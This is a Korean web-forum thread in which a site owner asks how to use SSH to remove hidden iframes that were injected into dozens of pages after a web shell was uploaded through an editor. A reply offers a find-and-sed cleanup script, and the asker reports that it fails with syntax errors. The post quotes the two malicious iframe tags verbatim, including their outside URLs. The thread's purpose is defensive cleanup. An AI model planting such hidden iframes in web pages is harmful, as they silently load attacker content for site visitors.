ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1363 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,086
14년 전 조회 1,506
14년 전 조회 1,765
14년 전 조회 1,254
14년 전 조회 1,421
14년 전 조회 1,220
14년 전 조회 1,544
14년 전 조회 1,402
14년 전 조회 860
14년 전 조회 1,023
14년 전 조회 1,050
14년 전 조회 1,368
14년 전 조회 1,209
14년 전 조회 1,230
14년 전 조회 1,177
14년 전 조회 1,595
14년 전 조회 1,292
14년 전 조회 1,314
14년 전 조회 1,364
14년 전 조회 1,126
14년 전 조회 2,173
14년 전 조회 1,942
14년 전 조회 1,388
14년 전 조회 1,224
14년 전 조회 2,300
14년 전 조회 1,651
14년 전 조회 1,498
14년 전 조회 1,213
14년 전 조회 1,927
14년 전 조회 4,190
14년 전 조회 2,843
14년 전 조회 1,550
14년 전 조회 1,149
14년 전 조회 1,213
14년 전 조회 1,739
14년 전 조회 1,396
14년 전 조회 1,769
14년 전 조회 1,861
14년 전 조회 1,863
14년 전 조회 1,043
14년 전 조회 1,283
14년 전 조회 3,158
14년 전 조회 1,178
14년 전 조회 1,654
14년 전 조회 1,251
14년 전 조회 1,100
14년 전 조회 1,665
14년 전 조회 1,112
14년 전 조회 1,763
14년 전 조회 1,364
14년 전 조회 1,997
14년 전 조회 1,939
14년 전 조회 1,456
14년 전 조회 1,692
14년 전 조회 1,411
14년 전 조회 2,049
14년 전 조회 1,705
14년 전 조회 1,644
14년 전 조회 1,940
14년 전 조회 1,824
14년 전 조회 1,271
14년 전 조회 1,336
14년 전 조회 1,086
14년 전 조회 1,260
14년 전 조회 2,013
14년 전 조회 2,753
14년 전 조회 2,672
14년 전 조회 2,310
14년 전 조회 1,831
14년 전 조회 1,911
14년 전 조회 1,698
14년 전 조회 1,953
14년 전 조회 1,046
14년 전 조회 1,715
14년 전 조회 1,024
14년 전 조회 1,491
14년 전 조회 1,244
14년 전 조회 2,382
14년 전 조회 1,148
14년 전 조회 3,030
14년 전 조회 1,372
14년 전 조회 1,239
14년 전 조회 3,303
14년 전 조회 1,089
14년 전 조회 1,379
14년 전 조회 894
14년 전 조회 1,221
14년 전 조회 1,008
14년 전 조회 1,687
14년 전 조회 1,099
14년 전 조회 1,484
14년 전 조회 1,113
14년 전 조회 1,064
14년 전 조회 1,011
14년 전 조회 1,748
14년 전 조회 1,165
14년 전 조회 1,085
14년 전 조회 1,114
14년 전 조회 1,784
14년 전 조회 1,791